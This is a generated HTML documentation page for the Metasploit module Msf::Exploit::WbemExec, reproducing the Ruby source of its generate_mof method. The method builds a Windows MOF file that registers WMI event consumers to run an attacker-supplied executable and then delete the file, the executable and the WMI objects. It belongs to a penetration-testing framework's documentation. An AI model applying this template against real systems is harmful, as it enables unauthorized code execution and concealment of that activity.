324 lines
8.0 KiB
HTML
324 lines
8.0 KiB
HTML
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="utf-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>
|
|
Module: Msf::Exploit::WbemExec
|
|
|
|
— Documentation by YARD 0.9.37
|
|
|
|
</title>
|
|
|
|
<link rel="stylesheet" href="../../css/style.css" type="text/css" />
|
|
|
|
<link rel="stylesheet" href="../../css/common.css" type="text/css" />
|
|
|
|
<script type="text/javascript">
|
|
pathId = "Msf::Exploit::WbemExec";
|
|
relpath = '../../';
|
|
</script>
|
|
|
|
|
|
<script type="text/javascript" charset="utf-8" src="../../js/jquery.js"></script>
|
|
|
|
<script type="text/javascript" charset="utf-8" src="../../js/app.js"></script>
|
|
|
|
|
|
</head>
|
|
<body>
|
|
<div class="nav_wrap">
|
|
<iframe id="nav" src="../../class_list.html?1"></iframe>
|
|
<div id="resizer"></div>
|
|
</div>
|
|
|
|
<div id="main" tabindex="-1">
|
|
<div id="header">
|
|
<div id="menu">
|
|
|
|
<a href="../../_index.html">Index (W)</a> »
|
|
<span class='title'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span>
|
|
»
|
|
<span class="title">WbemExec</span>
|
|
|
|
</div>
|
|
|
|
<div id="search">
|
|
|
|
<a class="full_list_link" id="class_list_link"
|
|
href="../../class_list.html">
|
|
|
|
<svg width="24" height="24">
|
|
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
|
|
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
|
|
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
|
|
</svg>
|
|
</a>
|
|
|
|
</div>
|
|
<div class="clear"></div>
|
|
</div>
|
|
|
|
<div id="content"><h1>Module: Msf::Exploit::WbemExec
|
|
|
|
|
|
|
|
</h1>
|
|
<div class="box_info">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dl>
|
|
<dt>Defined in:</dt>
|
|
<dd>lib/msf/core/exploit/wbem_exec.rb</dd>
|
|
</dl>
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h2>
|
|
Instance Method Summary
|
|
<small><a href="#" class="summary_toggle">collapse</a></small>
|
|
</h2>
|
|
|
|
<ul class="summary">
|
|
|
|
<li class="public ">
|
|
<span class="summary_signature">
|
|
|
|
<a href="#generate_mof-instance_method" title="#generate_mof (instance method)">#<strong>generate_mof</strong>(mofname, exe) ⇒ Object </a>
|
|
|
|
|
|
|
|
</span>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
|
|
|
|
|
|
<div id="instance_method_details" class="method_details_list">
|
|
<h2>Instance Method Details</h2>
|
|
|
|
|
|
<div class="method_details first">
|
|
<h3 class="signature first" id="generate_mof-instance_method">
|
|
|
|
#<strong>generate_mof</strong>(mofname, exe) ⇒ <tt>Object</tt>
|
|
|
|
|
|
|
|
|
|
|
|
</h3><table class="source_code">
|
|
<tr>
|
|
<td>
|
|
<pre class="lines">
|
|
|
|
|
|
17
|
|
18
|
|
19
|
|
20
|
|
21
|
|
22
|
|
23
|
|
24
|
|
25
|
|
26
|
|
27
|
|
28
|
|
29
|
|
30
|
|
31
|
|
32
|
|
33
|
|
34
|
|
35
|
|
36
|
|
37
|
|
38
|
|
39
|
|
40
|
|
41
|
|
42
|
|
43
|
|
44
|
|
45
|
|
46
|
|
47
|
|
48
|
|
49
|
|
50
|
|
51
|
|
52
|
|
53
|
|
54
|
|
55
|
|
56
|
|
57
|
|
58
|
|
59
|
|
60
|
|
61
|
|
62
|
|
63
|
|
64
|
|
65
|
|
66
|
|
67
|
|
68
|
|
69
|
|
70
|
|
71
|
|
72
|
|
73
|
|
74
|
|
75
|
|
76
|
|
77
|
|
78
|
|
79
|
|
80
|
|
81
|
|
82
|
|
83
|
|
84
|
|
85
|
|
86
|
|
87
|
|
88
|
|
89
|
|
90
|
|
91
|
|
92
|
|
93
|
|
94</pre>
|
|
</td>
|
|
<td>
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/wbem_exec.rb', line 17</span>
|
|
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_generate_mof'>generate_mof</span><span class='lparen'>(</span><span class='id identifier rubyid_mofname'>mofname</span><span class='comma'>,</span> <span class='id identifier rubyid_exe'>exe</span><span class='rparen'>)</span>
|
|
|
|
<span class='id identifier rubyid_classname'>classname</span> <span class='op'>=</span> <span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>0xffff</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span>
|
|
|
|
<span class='comment'># From Ivan's decompressed version
|
|
</span> <span class='id identifier rubyid_mof'>mof</span> <span class='op'>=</span> <span class='heredoc_beg'><<-EOT</span>
|
|
<span class='tstring_content'>#pragma namespace("\\\\\\\\.\\\\root\\\\cimv2")
|
|
class MyClass@CLASS@
|
|
{
|
|
[key] string Name;
|
|
};
|
|
class ActiveScriptEventConsumer : __EventConsumer
|
|
{
|
|
[key] string Name;
|
|
[not_null] string ScriptingEngine;
|
|
string ScriptFileName;
|
|
[template] string ScriptText;
|
|
uint32 KillTimeout;
|
|
};
|
|
instance of __Win32Provider as $P
|
|
{
|
|
Name = "ActiveScriptEventConsumer";
|
|
CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
|
|
PerUserInitialization = TRUE;
|
|
};
|
|
instance of __EventConsumerProviderRegistration
|
|
{
|
|
Provider = $P;
|
|
ConsumerClassNames = {"ActiveScriptEventConsumer"};
|
|
};
|
|
Instance of ActiveScriptEventConsumer as $cons
|
|
{
|
|
Name = "ASEC";
|
|
ScriptingEngine = "JScript";
|
|
ScriptText = "\\ntry {var s = new ActiveXObject(\\"Wscript.Shell\\");\\ns.Run(\\"@EXE@\\");} catch (err) {};\\nsv = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");try {sv.Delete(\\"MyClass@CLASS@\\");} catch (err) {};try {sv.Delete(\\"__EventFilter.Name='instfilt'\\");} catch (err) {};try {sv.Delete(\\"ActiveScriptEventConsumer.Name='ASEC'\\");} catch(err) {};";
|
|
|
|
};
|
|
Instance of ActiveScriptEventConsumer as $cons2
|
|
{
|
|
Name = "qndASEC";
|
|
ScriptingEngine = "JScript";
|
|
ScriptText = "\\nvar objfs = new ActiveXObject(\\"Scripting.FileSystemObject\\");\\ntry {var f1 = objfs.GetFile(\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_mofname'>mofname</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\");\\nf1.Delete(true);} catch(err) {};\\ntry {\\nvar f2 = objfs.GetFile(\\"@EXE@\\");\\nf2.Delete(true);\\nvar s = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");s.Delete(\\"__EventFilter.Name='qndfilt'\\");s.Delete(\\"ActiveScriptEventConsumer.Name='qndASEC'\\");\\n} catch(err) {};";
|
|
};
|
|
instance of __EventFilter as $Filt
|
|
{
|
|
Name = "instfilt";
|
|
Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\"MyClass@CLASS@\\"";
|
|
QueryLanguage = "WQL";
|
|
};
|
|
instance of __EventFilter as $Filt2
|
|
{
|
|
Name = "qndfilt";
|
|
Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\"Win32_Process\\" AND TargetInstance.Name = \\"@EXE@\\"";
|
|
QueryLanguage = "WQL";
|
|
|
|
};
|
|
instance of __FilterToConsumerBinding as $bind
|
|
{
|
|
Consumer = $cons;
|
|
Filter = $Filt;
|
|
};
|
|
instance of __FilterToConsumerBinding as $bind2
|
|
{
|
|
Consumer = $cons2;
|
|
Filter = $Filt2;
|
|
};
|
|
instance of MyClass@CLASS@ as $MyClass
|
|
{
|
|
Name = "ClassConsumer";
|
|
};
|
|
</span><span class='heredoc_end'>EOT
|
|
</span>
|
|
<span class='comment'># Replace the input vars
|
|
</span> <span class='id identifier rubyid_mof'>mof</span><span class='period'>.</span><span class='id identifier rubyid_gsub!'>gsub!</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>@CLASS@</span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='id identifier rubyid_classname'>classname</span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_mof'>mof</span><span class='period'>.</span><span class='id identifier rubyid_gsub!'>gsub!</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>@EXE@</span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='id identifier rubyid_exe'>exe</span><span class='rparen'>)</span> <span class='comment'># NOTE: \ and " should be escaped
|
|
</span>
|
|
<span class='id identifier rubyid_mof'>mof</span>
|
|
<span class='kw'>end</span></pre>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</div>
|
|
|
|
</div>
|
|
|
|
</div>
|
|
|
|
<div id="footer">
|
|
Generated on Fri May 8 17:01:16 2026 by
|
|
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
|
0.9.37 (ruby-3.1.5).
|
|
</div>
|
|
|
|
</div>
|
|
</body>
|
|
</html> |